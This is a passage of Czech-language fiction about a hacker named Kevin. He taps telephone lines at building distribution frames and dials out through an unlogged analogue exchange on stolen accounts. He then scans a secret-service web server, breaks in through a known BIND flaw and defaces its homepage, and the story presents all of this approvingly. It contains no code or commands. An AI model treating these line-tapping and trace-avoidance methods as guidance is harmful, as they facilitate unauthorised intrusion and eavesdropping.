prolezlou policií. Ta jej pronásledovala, protože objevil v jednom počítači tajný dopis, který dokazoval vazby policie na organizovaný zločin, především různé narkomafie, zločinecké organizace aj. Navíc zjistil, že vysoce postavený konkrétní policejní plukovník měl vazby na obchodníky s lidskými orgány v několika nemocnicích, a dokonce i s pohřebními ústavy. Fungovalo to tak, že policie pronásledovala podezřeleho, třeba i nevinného člověka, v médiích následně rozšířili falešnou informaci, že obviněný se bránil, a proto museli policajti použít střelbu k jeho "zajištění". Poté již přijela pro postřeleného předem zajištěná sanitka a odvezla ho k odběru orgánů, které se posílaly různým boháčům po celém světě. Mrtvolu nešťastníka pak ještě prodal vybranénu pohřebnímu ústavu. K těmto praktikám si polda vybíral opuštěné lidi, bezdomovce aj. Kevin sice nebyl bezdomovec, ale rodiče neznal, protože se narodil prostitutce, která jej nechala po porodu v nemocnici. Jeho adoptivní rodiče již o něj ztratili zájem - ideální případ pro zmizení beze stopy. Jenomže Kevin z této pasti unikl a přežil všechny nástrahy, které si na něho tato "mírumilovná" společnost připravila. Proto začal na Kevina nemilosrdný hon. Nemohl se na nikoho spolehnout, pouze sám na sebe, a tato nedůvěra mu také zachránila život. Byl přinucen suplovat práci skutečné policie, která má chránit občany a v sebeobraně zastřelil svoje nepřátele. Měl ovšem štěstí, protože úplně celá policie tak špatná nebyla, a o činnosti svých špatných kamarádů věděla, a proto je již delší dobu sledovali. Bohužel pro ně, byl Kevin rychlejší a vyřešil to za ně. I když tedy zastřelil dva zločince, musela jej policie propustit. Naivně si Kevin myslel, že má všechny problémy za sebou. Jednoho dne Kevin po výslechu na policii usedne do svého sportovního BMW a jede vysokou rychlostí ven z Prahy. Zajede symbolicky na místo, kde ho chtěli zastřelit policií najatí ruští nájemní vrazi, a začne přemýšlt o svojí další budoucnosti. Na kontě má milion dolarů, které mu dal fízl za slib mlčení, "no, z toho se dá docela slušně žít" pomyslí si Kevin nahlas. Kromě peněz a bytu nemá vlastně vůbec nic. Marta umírá v nemocnici na rakovinu, práci nemá žádnou, a vlastně jí ani nepotřebuje. Rozhoduje se bleskově - bude si užívat a s hackování skončí. Bohužel pro Kevina, osud chtěl něco úplně jiného. Naivně si také myslel, že ho policie nechá konečně normálně žít. Hluboce se mýlil. Problém byl v tom, že toho Kevin příliš mnoho věděl, a tak byl stále nebezpečný. Mezitím na něho policie nasadila agenty BIS, kteří jej sledovali, a následně mu zablokovali jeho tučné dolarové konto s tím, že peníze pocházejí z organizovaného zločinu, a proto propadají ve prospěch státu. To je opravdu zajímavé. Nakonec mu seberou i jeho byt, který si také koupil za špinavé peníze. Najednou Kevin nemá vůbec nic. Z bytu se musí vystěhovat do několika měsíců, a stále ho někdo sleduje. Naštěstí mu nechali jeho auto, takže je alespoň trochu mobilní. Peníze také nějaké má, protože asi padesát tisíc dolarů měl doma v hotovosti, což je pro Kevina alespoň nějaká útěcha. Není to sice moc, ale také ne málo. Kevin teď potřebuje především práci a konečně si koupit pořádný počítač, protože ten starý již pomalu dosluhuje. Rozhoduje se řešit svou situaci velmi radikálně. Padesát tisíc doalrů je asi půl druhého milionu korun, což je docela slušný. Severní oblasti země mu nějak přirostla k srdci, a proto se sem stěhuje. Za čtyřista tisíc si kupuje v krajském městě menší byt v klidné čtvrti. Peněz má zatím dost, a tak žije z úspor, ze kterých platí všechny nutné výdaje. Do zařízeného bytu s telefonem si konečně kupuje počítač. Kevin moc dobře ví, že ty nejvýkonější mašiny mu jsou na hovno, proto si koupí v bazaru starší kousek bez software. Kevin samozřejmě potřebný software již vlastní, včetně Linuxu. Spustí instalaci systému OS2 Warp a nainstaluje svůj oblíbený zavaděč operačních systémů. Nakofiguruje svoje dva disky a ukončí instalaci Merlina od IBM. Ten je mu totiž na nic, protože je to mrtvý systém, který téměř nikdo nepoužívá. Spustí instalaci Widows 98. Ne, že by wokna nějak miloval, ale jsou hodně rozšířené, tak je také musí mít. Na druhý disk Kevin nainstaluje svůj oblíbený Linux. Zvolil si starší distribuci Red Hat, na kterou je již zvyklý, a to je železná košile. I když Kevin již hackovat nechtěl, pro jistotu si na Linux hodí nějaké základní věcičky, jako například Nmap, John the Ripper na hesla, nějaké sniffery a několik praxí prověřených exploitů. Samozřejmostí musí být ssh, protože bez něho ani ťuk. Zásadně v Linuxu nepoužívá GUI, protože na to má Windows a z Linuxu pouze hackuje. Konečně má počítač nastaven tak, jak chtěl, včetně modemu ve Windows i v Linuxu. Kevin má ještě z minulosti velké množství hacknutých účtů, které jsou v současnosti již zbytečné, protože je tady internet zadarmo. Přesto Kevin tyto hacknuté účty někdy používal, protože jsou dokonale anonymní. Volá z nich sice na účet někoho jiného, ale to jej příliš nesere. Navíc Kevin zjistil, že i druhá strana používá klasický analogový modem, což je výhoda z hlediska identifikace jeho čísla. To samozřejmě neplatí pro kalsické služby internetu zadarmo. Kevin tyto hacknuté účty získal velmi jednoduše tím, že si v minulosti pravidelně stahoval rootův fail bash_history, kde tyto poklady objevil. Zatím mu jsou na nic, ale budoucnost ukáže, že udělal dobře. Kevin má ještě starší notebook, kde má také Linux, nastavený jako nebezpečný hackerský nástroj. Instalace progarmů jej dost unavila, a tak se jde projít ven. Je krásný večer a pomalu na jasném modro černém nebi začínají svítit hvězdy. Jenže Kevin je stále duchem hacker, který přijel do neznámého prostředí, které musí prozkoumat. Je to jako v hacknuté mašině s Linuxem, kde tak dlouho prohledává systém, až najde nějakou chybu, a dostane se ke kořenům systému, čili UID nula nebo také root. V přízemí domu začne Kevin hledat hlavní telefonní rozvod, a má samozřejmě úspěch. Jak se dalo očekávat, tak zámek byl poškozen a zaprášené ježky Krone byly volně přístupné. Na ně má Kevin rozpojovací šňůry, ale zjistí, že tyhle jsou šedé, ale Kevin má pouze na ty bílé, které se většinou používají jako hlavní přívod od ústředny. Z toho Kevin usoudil, že tohle není hlavní přívod, ale nějaký menší místní. Jeho odhad byl správný. Nedaleko od této rozvodné skříňky byla další skříňka, která byla ovšem zamčená. Ale Kevin ví, že se používá jednotný klíč, a ten samozřejmě také má J. Bleskově skříňku otevře, protože klíč má na svém hlavním svazku. A tady jsou opravdu ty jeho rozpojovací bílé ježky, na které má konektor. Přinese si garnituru, což je malý přenosný telefon s tlačítkovou číselnicí. Nyní potřebuje najít svoje číslo. Aby zatím zbytečně nikomu nevolal z cizího telefonu, dojde do svého bytu, vyvěsí telefon a pustí hlasitě rádio. Pak rychle sejde dolů, a postupně se napojuje na telefonní linky, až konečně začne ve sluchátku hrát hudba z jeho bytu - to je jeho číslo. Kevin si napíše na kus papíru číslo ježku a pozici. Kevin také zjistil, že někdo, kdo v tomto době bydlí má zavedenu pevnou linku. Ve skříňce objevil dokumentaci, kde kromě obsazení jednotlivých pozic telefonními čísly našel také jednu pevnou linku. Po připojení na ní, se v jeho sluchátku ozvalo charakteristické chrčení, které jednoznačně patří datovému přenosu. Kevin tuto přípravu bere jako rituál, kterou provádí nájemní vrazi před přípravou akce. Vše musí být naprosto v pořádku a neustále v pohotovosti. Kevinovi tyto novodobé smrtící zbraně již mnohokrát zachránily život, takže Kevin je považuje za nutnost a samozřejmou součást svého života. Kevin moc dobře ví, že ten, kdo tyto technologie ovládá, bude mít v budoucnu velkou výhodu. V době kdy Kevin žije, probíhá v celém světě válka o ovládnutí digitálního nervového systému v celém světě. Kevin se vrátil do svého bytu již pozdě večer a cestou po schodech potkal pěknou mladou dívku, která se na něho smyslně usmála. Nevěnoval tomu pozornost, protože ženy ho již několikrát sklamaly, takže je proti tomu částečně imunní. Jde okamžitě spát. Na pokraji kybernetické války Píše se polovina roku 1998 a Kevin se probudil do krásného letního slunečního dne. Bude si muset najít nějakou práci, protože nuda kterou prožívá je vražedná. Ne, že by neměl z čeho žít, ale peněz není nikdy dost. Zajde proto do nejbližší restaurace nedaleko svého bydliště a otevře staré kované dveře. Útulná pivnice byla zaplněna tak z poloviny, a nikde nebyl žádný úplně volný stůl. Sedl si proto k dlouhému stolu, jehož osazenstvo připomínalo místní štamgasty. V restauraci byl klid, pouze z kuchyně se ozývala tichá hudba. Kevin vypil asi dvě piva a dal se do řeči s jedním z hostů. "Sháním tady nějakou práci" ptá se Kevin silného padesátníka. "A co jako by jsi chtěl dělat?" odpoví chlapík. "Něco okolo počítačů" odpoví Kevin. " Tak v tom se nevyznám, pro mě jsou počítače španělská vesnice" řekne s úsměvem štamgast. " A kde je tady úřad práce" ptá se Kevin" Chlapík mu to vysvětlí a Kevin mu poděkuje, zaplatí a jde na úřad hledat práci. Hacker Kevin vejde do velké budovy, která působí velmi tísnivě, možná na něho dýchla atmosféra strachu a úzkosti, která vyzařuje z tváří každého z uchazečů o nové zaměstnání. Kevin takový není a bere to s humorem - je přeci Hacker, který má něco za sebou. Jeho první kroky vedou před velkou nástěnku, kde je velké množství různých inzerátů. Hledá tedy něco z oblasti výpočetní techniky, programátory apod. Bohužel nic podobného nenašel, a tak zkouší telekomunikační firmy. Měl štěstí. Menší státní telekomunikační firma hledá zaměstnance na pozici samostatného údržbáře digitálních komunikačních systémů. To je něco pro Hackera Kevinova typu. Kevin je sice skvělý programátor v několika jazycích, ale otravuje ho sedět celé hodiny před monitorem a úkolově psát řádky zdrojového kódu, které již umí zpaměti. Opsal si telefonní číslo a okamžitě ze svého mobilu zatelefonuje. Domluví si schůzku a další den jde zkusit štěstí. Vejde do rozsáhlého areálu, který je plný různých kovových předmětů, velkých kabelových cívek a několik dělníků uklízí velký bordel, který charakterizuje celý areál. Vejde do kanceláře ředitele, tohoto malého státního podniku. Ve velkém křesle sedí malý vousatý člověk, který v Kevinovi nevyvolal dobrý dojem. Na jeho hubené tváři se objevil nucený křečovitý úsměv, který vypadal jako škleb příšery z vesmíru. Byl malý a hubený, takže jeho oblek na něm pouze visel. Kevin usoudil, že tento člověk nikdy rukama nepracoval. Největší šok zažil Kevin v okamžiku, kdy tento podivím promluvil. Mluvil pomalu, nuceně a křečovitě, navíc se za každou úspěšně dokončenou větou vítězoslavně pousmál, aniž by Kevinovi věnoval nějakou větší pozornost. Evidentně si liboval ve svém postavení šéfa a dával to každému najevo. Kevin takové lidi nemá rád. Připomělo mu to povahu fízla, kterého spolu s "doktorem" zastřelil. Vůbec byl celý divný. Při delším monologu měl zavřené oči, a pouze výjímečně pohlédl Kevinovi do očí. Pak začal být konkrétní, zeptal se Kevina: "jaké máte vzdělání"? Dokončil jsem gymnázium, ale nedokončil matematicko fyzikální fakultu UK" odpověděl Kevin stručně a jasně. Ředitel se radostně pousmál, že proti němu sedí člověk, který není inženýrem jako on, takže jeho arogance ještě vzrostla. "No podívejte se...tady ale musíte mít elektrotechnické vzdělání, jinak nemůžete pracovat samostatně na elektrickém zařízení", řekl a podíval se vítězně na Kevina. "Takže pro mě práci nemáte a mohu odejít" řekl Kevin. "No podívejte se" řekl hubený ředitel telekomunikační firmy. "Protože nemáte elektrotechnické vzdělání, mohl by jste zatím pracovat v nepřetržité službě, která má na starosti dohled nad digitálním komunikačním systémem. Seděl by jste u počítače a měl nad celým systémem kontrolu. V případě nějaké poruchy, by jste zavolal pohotovostní službu, která by závadu odstranila. Jinak by bylo dobré, jestli u nás chcete trvale pracovat, doplnit si elektrotrchnické vzdělání, protože chápete, jsme telekomunikační firma, a občas také naši zaměstnanci pracují na zařízení pod napětím 220V, a to vy bohužel samostantě nemůžete". "Hmm" odpověděl Kevin a s návrhem souhlasil. Později se Kevin dozvěděl, že tato telekomunikační firma udržuje sdělovací zařízení velké přepravní společnosti. Ta si nechala toto zařízení modernizovat, protože v minulosti používali na různých stanovištích pouze tzv. MB telefony, někdy označované jako telefony na "kličku". Celý systém v minulosti fungoval tak, že asi sto těchto jednoduchých telefonů bylo připojeno na jedno společné dvoudrátové vedení, a každý účastník v této "síti" měl svůj vlastní volací znak, který spočíval v různě přerušovaném vyzváněcím tónu. Jednoduše, například dozorce Franta měl volací znak "krátka, dlouhá, krátká" (.-.). Jestliže se takový vyzváněcí signál ozval, byl určen jemu. Ostatní signály ignorovali, ale mohli provádět odposlech ostatních hovorů. Navíc, podobných okruhů bylo několik, a pomocích jednoduchého pákového přepínače se mohli na tyto okruhy přepojovat, aniž by ztratili kontakt s ostatními okruhy, protože na nich byly napevno připojeny vedlejší zvonky, které neustále zvonily. Později byl celý tento primitivní systém modernizován digitálním zařízením, a místo telefonů "na kličku" se začaly používat komfortní ISDN telefony, které byly samozřejmě připojeny do digitální telefonní ústředny, která ovšem plnila mnoho dalších funkcí. Kevin měl mít nad tímto systémem dohled. Kevin nastoupil do práce 1.září, když předtím byl asi týden na školení u výrobce celého systému. Jeho pracovistě se nacházelo ve velké místosti, která byla plná různých skříní, ve kterých byly rozličné digitální technologie. Úplně u okna stál velký stojan, který byl plný různých modemů a routerů, které na Kevina neustále mrkaly LED diodami. Vedle stála digitální ústředna značky Ericsson a mnoho dalších podpůrných zařízení, a samozřejmě všude přítomné optické i metalické kabely, ukončené na svorkovnicích Krone nebo Siemens. Všechny kabely z těchto zařízení vedly do další místnosti, která byla ovšem trvale zamčená, což ovšem Kevina velmi lákalo. Jinak se Kevin při této práci strašně nudil, a už věděl, že tady dlouho nevydrží. Na monitor sice nemusel neustále koukat, protože různé stavy, byly také signalizovány akusticky, přesto se nudou užíral k smrti. V místnosti kde seděl nebyla žádná květina, žádný obrázek, prostě jenom technologie, která je ovšem nepřívětivá a nudná. Jenomže Kevin je Hacker, který jí dokáže dát duši, a pak si s ní rozumí jako s nejlepší kamarádkou. Záhadná zamčená místost musela mít ještě jeden vchod, protože Kevin tam již několikrát slyšel nějaké zvuky, které připomínaly lidský rozhovor. Jednoho dne přišel okamžik, který konečně přerušil strašnou nudu. Do záhadné místnosti přišli přes Kevinovu místnost nějací dělníci, kteří dveře otevřeli a začali zde pracovat. Na to Kevin čekal. Okamžitě se dal s nimi do řeči, takže za malou chvilku věděl co budou dělat. Místnost byla plná rozvodných telefonních a datových svorkovnic typu Siemens, Krone, nechyběly ani staré rozpojovací ježky Tesla. Okolo celé místnosti, byly umístněny kabelové závěry typu ZAU, PZVR, a ty novější kabely byly ukončeny také na svorkovnicích Krone. Vedle malého a špinavého okna visela nějaká malá záhadná skřínka, do které vedl jeden telefonní kabel typu SYKFY. Mezitím si dělníci připravili nařadí a začali budovat nový stojan na další telefonní a datové svorkovnice. Kevin se začal po místnosti procházet, jako by zde byl doma, takže pracující dělníci mu nevěnovali žádnou mimořádnou pozornost a starali se pouze o svoji práci. Kevin se nemusel obávat svých nadřízených, protože jak se dozvěděl, ti mají svojí vlastní soukromou telekomunikační firmu a klidně podnikají již mnoho let v pracovní době. Asi ve dvě hodiny odpoledne dělníci přestali pracovat a klidně odešli. Zeptali se Kevina, jestli mají místnost uzamknout s tím, že zítra stejně zase přijdou. Kevin duchaplně odpověděl, že to není nutné. Kevin je v práci do šesti, takže má dostatek času celou místnost prozkoumat. K tomuto učelu si vzal telefonní garnituru, a jde "osahat" nějaké ježky. Namátkou se připojí na jeden hodně obsazený ježek Siemens a uslyší oznamovací tón z telefonní ústředny. Takto přejede několik pozic a uslyší další různé oznamovací tóny, které patří různým telefonním ústřednám. Kevin mezi nimi poznal také starou analogovou elektromechanickou ústřednu, která má pro něho, jako pro hackera velký význam. Tyto ústředny většinou neumí logovat, takže o uskutečněném hovoru se nevedou žádné záznamy. Jinak řečeno, jednou uskutečněný a ukončený hovor není možné zpětně vystopovat. Existuje sici i pro tyto ústředny nákladné doplňkové zařízení, které to umožní, ale většinou se takto nepostupuje a mění se celá telefonní ústředna za digitální. Ptáte se, jak to Kevin poznal, že je připojen na starou mechanickou ústřednu? Oznamovací tón z takové ústředny je plný různých napěťových špiček, které se projevují slyšitelným praskáním ve sluchátku Kevinova mikrotelefonu. Tyto špičky způsobují elektromechanická relé, ze kterých je taková ústředna postavena. Jestliže dojde k odpojení napětí z cívky takového relé, zvýší se na okamžik napětí i několikanásobně, což se projeví slyšitelným prasknutím ve sluchátku. Někdy je slyšet i celé krokování různých voličů. Naproti tomu elektronické ústředny mají všechny signalizační tóny klidné, protože jejich spojovací pole neobsahuje žádné elektromagnety. Kevin nyní zaměřil svojí pozornost na záhadnou skříňku na zdi vedle okna. První co ho napadlo byla myšlenka, že se jedná o odposlouchavací zařízení. Jeho myšlenka byla správná. "Doufám, že tady neposlouchají mě" řekl si Kevin v duchu. Připojil se tedy na starý rozpojovací ježek, ze kterého vedl telefonní kabel do skříňky a připojil se na první pár z leva. V jeho sluchátku se ozval oznamovací tón. Vytočíl tedy číslo svojí domácí pevné linky a postupně zkratoval ostatní přívody na svorkovnici. První, druhý, třetí pár a náhle cvak, vyzváněcí tón zmizel. S Kevinem to prudce trhlo a nechce tomu věřit, proto pokus opakuje, ale buhužel se stejným výsledkem. Je odposloucháván! Kevin se již nemůže na nic soustředit, protože mu to připomělo staré časy, kdy jej honila korupcí prolezlá policie. Opět ho sledují a nedají mu pokoj. Na Kevina opět dolehla deprese, kterou trpí již několik let co hackuje. Konečně jej přišla vystřídat starší zamračená paní, se kterou neprohodil ani slovo a odešel. Cestou domů přemýšlí co s tím. Doma spustil počítač a rozhodl se něco skenovat. Pak náhle dostal šílený nápad. Hackne všechny tři servery, které nemá rád najednou. Prvním je server Bezpečnostní informační služby, druhým je ministerstvo vnitra a třením policie. Pak na jejich stránky napíše celý svůj příběh, aby si jej mohla přečíst široká veřejnost. Pro lajka je to možná nereálné, ale pro Kevina maličkost. Co k tomu bude Kevin potřebovat? Především spoustu informací, které musí postupně získat. Skenerem začne skenovat server BIS, ale náhle celou akci přeruší a dostane další nápad. Takto by totiž mohli vystopovat jeho telefonní číslo, protože je připojen na digitální ústřednu, což není dobré. I když skenování není trestný čin, rozhodně to nedělají normální uživatelé internetu, takže je to podezřelé. Raději si vezme do práce svůj notebook a připojí se přes starou mechanickou telefinní ústřednu, kterou objevil prostřednictví linky v telefonním rozvodu. V práci na to má dostatek času, a také nemusí mít strach z nadřízených, protože ti podnikají v pracovní době, takže i kdyby ho chytili, tak má slušné argumenty jak se bránit. Druhý den počká do odpoledne, až většina zaměstnanců odejde z práce a otevře místnost do velkého telefonního rozvodu. Pomocí svého přenosného telefonu vyhledá na svorkovnici Siemens nějakou analogovou linku a zasune do otvoru rozpojovací kolíček s přívodním kabelem. Konec kabelu připojí na svou faxmodemovou kartu v notebooku. Jěště se přesvědčí, jestli je opravdu odchozí vedení k telefonnímu účastníku odpojené, a pak spustí svůj notebook s hackerskou distribucí Linuxu. Výpisy startujícího Linuxu, které se objevují na zobrazovacím panelu jeho notebooku pomalu končí svojí činnost a Kevin se může konečně přihlásit do systému jako uživatel root. Okamžitě zadá příkaz Dial, a jeho modem prostřednistvím jeho skriptu začne vytáčet telefonní číslo komerčního poskytovatele internetu. Za okamžik systém hlásí, že spojení přes cizí účet bylo úspěšně navázáno. Kevin nemusí vůbec spěchat, protože místní hovor je tarifikován pouze jedním impulzem na začátku spojení, takže může být připojen třeba celý den. Kevin začne skenovat Nmapem server tajné služby a má velké štěstí. Server je v této době ve zkušebním provozu a jeho zabezpečení je zatím špatné. Kevin dokonce skenoval přímo počítač, na kterém jsou uložena data, která chce změnit. Jinak řečeno, Kevin se dostal přímo ke dveřím, které stačí odemknout. Přesto je komerční Unix, který má proti sobě tvrdým oříškem. Nejprve zkouší exploitnout známé chyby v sendmailu, ale bez úspěchu. Pak soustředí svoji pozornost na balík Bind, který reprezentuje nameserver. Port je otevřen, takže zkouší známou chybu. Naštěstí pro Kevina zde pracuje děravý Bind, který mu umožnil systém kompromitovat. Vyhledá na systému adresář, kde jsou uložené dokumenty html a rychle změní soubor index.html. O logy se příliš nestará, protože je připojen přes analogovou ústřednu, takže je za vodou. Rychle opustí hacknutý systém a spustí Lynx. Napíše adresu tajné služby a uvidí svůj text, který si k tomuto účelu vytvořil. Předtím ještě stačil odeslat ze shellu několik mailů do známých redakcí, a tím se tento hack dostane do hlavních večerních zpráv všech televizí. Ostatní servery nechá na pokoji, protože ty jsou relativně dobře zabezpečené a Kevin tím nechce ztrácet čas. Pak si klidně sedne za svůj pracovní stůl, pustí rádio a očekává první zprávy o své práci. Ty přijdou velmi rychle, a dokonce zaplní titulní strany novin na několik týdnů. Kevin je sám překvapen, jaký ohlas měla jeho profesionální práce. Mnoho samozvaných odborníků se k tomuto legendárnímu hacku vyjadřovalo, až Kevina zamrazilo, co údajně způsobil. Dozvěděl se, že údajně pronikl do privátní sítě tajné služby a dostal se k super tajným datům, například jména tajných agentů, získal konspirační adresy a mnoho dalších strašných činů, za které mu hrozí doživotí. Co ve skutečnosti Kevin udělal? Pronikl do nezabezpečeného serveru tajné služby, kde stejně žádná tajná data nebyla. Samozřejmě, že Kevin systém prohledal, ale nenalezl nic, než několik veřejných html dokumetnů, kde stejně nic tajného nebylo. Pak pouze změnil soubor index.html, a to je všechno co se systémem provedl. Pokoušel se sice příkazem ifconfig zjistit, kolik síťových rozhraní systém obsahuje, ale nalezl pouze jedno, a to, po kterém do systému pronikl. Zatímco média rozpoutala diskusi o bezpečnosti tajných dat, policie zahájila intenzivní pátrání po Kevinovi, protože to, co tam zveřejnil věděl pouze on a nikdo jiný. Pro Kevina tím začala druhá fáze jeho osobní kybernetické války s policií. Pro policii nebyl žádný problém zjistit, kde se Kevin nachází, a dokonce již pracuje. I když zveřejněný text na hacknutém serveru tajné služby jasně signalizoval, kdo za tím vším stojí, není to pro soudce žádný přímý důkaz, že to opravdu udělal Kevin - notorický hacker. Policie proto zaměřila pozornost na logy, které ji dovedly až k analogové telefonní ústředně, odkud se Kevin připojil do sítě sítí. Bohužel pro policii, tam stopa skončila, protože analogová elektromechanická ústředna nemá žádný logovací systém. Přesto policie našla stopu. Vyšetřovatel kontaktoval zaměstnavatele Kevina, který prostřednictvím jeho ředitele policii sdělil některé technické detaily, které ještě více ukázaly na logickou spojitost s Kevinem. Stále to ale nebyl žádný přímý důkaz, pouze silné podezření. Proto policie potřebovala doznání hackera. Jednoho dne sedí Kevin ve své kanceláři plné počítačů, a náhle na jeho stole zazní nepříjemný zvuk služebního telefonu. "Prosím", řekne Kevin tichým hlasem. Na druhé straně telefonu pozná ředitele, který jej žádá, aby k němu přišel. Kevin souhlasí a odejde do kanceláře ředitele. Malý vousatý ředitel ho přivítá podáním ruky, a nabídme volnou židli. Ředitel ovšem není v kanceláři sám. Vedle něho sedí nějaká mladá žena, která se tváří jako rozjetá škeble, pomyslí si Kevin. Dalším člověkem je asi padesátiletý, tlustý, vousatý, brejlatý člověk, který se Kevinovi představil jako policejní vyšetřovatel. Kevinovi okamžitě došlo o co jde. Nyní začala mluvit mladá žena, která se Kevinovi představila jako "specialistka na počítačovou kriminalitu". Začala tvrdit, že mají proti Kevinovi přímé důkazy, že v kritický den byl připojen přes svojí telefonní linku do internetu, a mohou toto tvrzení doložit logy, které poskytla telefonní společnost jako důkaz proti Kevinovi. Kevin okamžitě pochopil, že se jedná o kolektivní spiknutí proti němu. Server přeci nehacknul z domova, ale z práce přes analogovou ústřednu, takže policajtka evidentně lže. Ono dokazovat podobnou trestnou činnost klasickými prostředky nejde: žádné otisky prstů, zádné pachové nebo biologické stopy, žádné testy DNA... prostě nic nefunguje. Proto policie zkouší různé metody včetně účelových lží a podrazů. "V ten den jsem byl v práci, takže jsem nemohl být doma" odpověděl klidně Kevin. "To je sice možné, ale jak vysvětlíte ty telefonní logy, které jsou skutečné?" Kontrovala nepříjemná policistka. Mají to dobře připravené, pomyslil si Kevin. Kdyby nyní řekl, že ty logy jsou podvod, nepřímo by se tím přiznal. Proto řekl: "Klidně někdo cizí mohl volat z mojí telefonní linky, protože telefonní rozvod dole v budově je volně přístupný, což se dost často stává" odpověděl zkušeně Kevin. S tím policajtka nepočítala, a evidentně byla překvapená duchaplností Kevina. "Dobrá, to si prověříme". Odpověděla a přenechala slovo svému tlustému kolegovi. "Takže to by bylo všechno, co jsme tady chtěli slyšet". Řekl tlustý fízl a obrátil svou pozornost na ředitele. "Takže to je všechno, můžete se vrátit na své pracoviště" Řekl malý vousatý ředitel. Aniž se s ním nějak rozloučili, Kevin odešel. Druhý den, když Kevin přišel opět do práce, dostal vzkaz, že má opět přijít k vousatému nepříjemnému řediteli. Jeho ředitel byl opravdu zvláštní typ člověka. Rozhodně si nežil špatně, protože jeho žena pracovala jako soudkyně krajského soudu, takže to byla společenská smetánka. On sám trpěl komplexem méněcennosti, protože se chtěl postavením vyrovnat své ženě, což se mu příliš nedařilo. Snažil se sice být přirozenou osobností, ale dělal to nuceně až křečovitě, takže mnohdy působil docela směšně. Po příchodu do jeho kanceláře, tam společně s ředitelem také čekal jeho přímý nadřízený, kterého Kevin vidí asi podruhé v životě. Kybernetická válka Ředitel se snažil tvářit vážně až téměř smutně, protože bude muset sdělit svému podřízenému špatnou zprávu. Ve skutečnosti to byla z jeho strany dokonalá komedie, protože podobné informace sděluje svým podřízeným velmi rád a dělá mu to velkou radost, že on, malý, zakomplexovaný střízlík, může někomu ovlivnit zásadním způsobem život. Kevinovi začal povídat. "Podívejte se, vzhledem k některým novým skutečnostem, o kterých jsem byl informován jsme společně s vašim přímým nadřízeným rozhodli, že bude pro nás, ale možná také pro vás výhodnější, když si najdete jinou práci." Řekl a vítězoslavně pohlédl na Kevina. Kevin mlčel, a proto se slova opět ujal nepříjemný ředitel. "Druhou možností je, že vás přeřadíme na jinou práci, mnohem fyzicky náročnější, ale také hůře placenou. Budete vykonávat různé nekvalifikované práce, podle našich aktuálních potřeb". Opět pohlédl na Kevina a čekal jeho reakci. Kevinovi se to začíná líbit. Podvědomě toužil po odvetě a vyhlásil tomuto střízlíkovi osobní válku. "Souhlasím s přeřazením na jinou práci" Odpověděl rázně Kevin, a všiml si přitom v jednom okamžiku zvláštního výrazu strachu v ředitelově tváři. Kevin zatím nevěděl co vlastně bude dělat, a možná právě proto pociťuje zvláštní pocit napětí, který nikdy předtím nepoznal. Hlávní náplní jeho práce bude likvidace nadzemního telefonního vedení, které vede podél silnice v délce mnoha desítek kilometrů. Vedení již bylo nahrazeno metalickými a optickými kabely, takže je zbytečné. Ale co je mnohem důležitější - bronzové dráty o průměru dva milimetry, které drží nad zemí mohutné sloupy, mají hodnotu mnoho milionů korun a různí zloději již také začali pracovat. Nejenom ředitel si moc dobře spočítal, že při ceně padesát korun za kilogram bronzu se na těchto sloupech nachází pěkný balík peněz, které stačí pouze sebrat. A také podezřelá liknavost policie při objasňování menších krádeží tohoto vedení urychlila rozhodnutí, že peníze z těchto drátů musejí připadnout státu, a ne zlodějům. Kevin byl také několikrát vyslán na montáže strukturované kabeláže, což se mu vůbec nelíbilo, protože musel pracovat až patnáct hodit denně, bez jídla pití. Navíc, jeho nadřízený byl velmi nepříjemný člověk, který se pro vedení podobného kolektivu hodil. Na novém pracovišti ho přivítal menší, zavalitější, prošedivělý chlapík, kterému již do důchodu mnoho nechybělo. O jeho názorech hodně napověděla jeho nová skinhedská bunda, tzv Bombr. Také jeho tvář, připomínala Kevinovi nacistického "doktora" Mengeleho. Byla podobně zrůdně široká a jeho chladný pohled byl téměř totožný s pohledem legendárního vraha malých dětí. Možná právě proto, toužil Kevin po pomstě. Co vlastně Kevin tomu hubenému řediteli může? Náhle ho to napadlo. Přeci ten jeho bývalý nadřízený, který mnoho let si dělá z pracovní doby nástroj svého podnikání, je ideální příležitost, jak ředitele kompromitovat. Proto si doma vytvoří jednoduché www stránky, kam napíše všechny podrobnosti o této činnosti. Jde o to, že nejenom Kevin je placen ze státního rozpočtu, respektive z peněz daňových poplatníků, a na to slyší téměř všechny média. Jednoho dne navštíví Kevin internetovou kavárnu a vytvoří si u jednoho poskytovatele www služeb zadarmo adresu, na kterou přesune svoje kompromitující texty. Současně rozešle několik emailů jeho nadřízeným, a to tak, že současně také pošle toto upozornění redakcím některých médií, takže na to musí reagovat, jinak by to média zveřejnila. Reakce byla okamžitá. Začalo ověřování těchto informací, dokonce i Kevin byl tázán, jestli je to pravda nebo ne. Samozřejmě, že Kevin informace potvrdil, a tím řediteli způsobil značné problémy, protože ten měl povýšit, a takhle utřel hubu. Teď už je to osobní záležitost mezi Kevinem a vousatým skrčkem. Kevin musel na novém pracovišti tvrdě pracovat. Několik pracovníků s motorovou pilou řezalo sloupy, které i s bronzem padaly na zem, kde další pracovník pomocí pákových nůžek bronzové dráty odštípal. Úkolem Kevina, a ještě několika dalších pracovníků bylo tyto dráty motat do úhledných koleček o váze asi deset kilo. Motání šlo někdy dost špatně, protože dráty byly překroucené, takže se s tím velmi špatně pracovalo. Pracovalo se za každého počasí, takže si Kevin připadal jak v koncentračním táboře, protože jeho nadřízený tam stál ve skinheadské bundě a tvářil se jako gestapák. Jednoho dne ovšem přišla změna. Protože uklízečka, která uklízela celé prostory firmy již měsíc marodí, rozhodlo vedení, že úklid provede pracovní četa Kevina. Právě došlo na slova ředitele, který Kevinovi před jeho přeřazením na jinou práci tvrdil, že bude provádět různé práce, podle aktuálních potřeb zaměstnavatele. Kevin byl přeřazen proto, protože na svém původním pracovišti zneužíval informační technologie, připojoval se přenosným počítačem na cizí telefonní linky, a je hlavním podezřelým v případu hacku www stránek tajné služby. Přestože Kevinovi tento hack nebyl zatím prokázán, je stále hlavním podezřelým, a proto původní práci zatím nemůže vykonávat. Bod zlomu se přiblížil. Přestože je Kevin absolventem Matematicko fyzikální fakulty UK, musí nastoupit Kevin a několik dalších rebelů místo dlouhodobě nemocné uklízečky. Záchody jsou již špinavé, chodby i kanceláře plné prachu a bahna z bot a odpadkové koše již přetékají. Kevin dostal od rasisty za úkol vynést všechny odpadky z košů. Původně z toho měl strach, ale v koších byly igelitové pytle, které se pouze hodily do pytle velkého, a do prázdného koše se dal nový igelitový sáček, takže vlastně Kevin na odpadky vůbec nesahal. Podobně na tom byli i ti, kteří vytírali chodby. Používali totiž speciální kombajn, takže si nenamočili ani 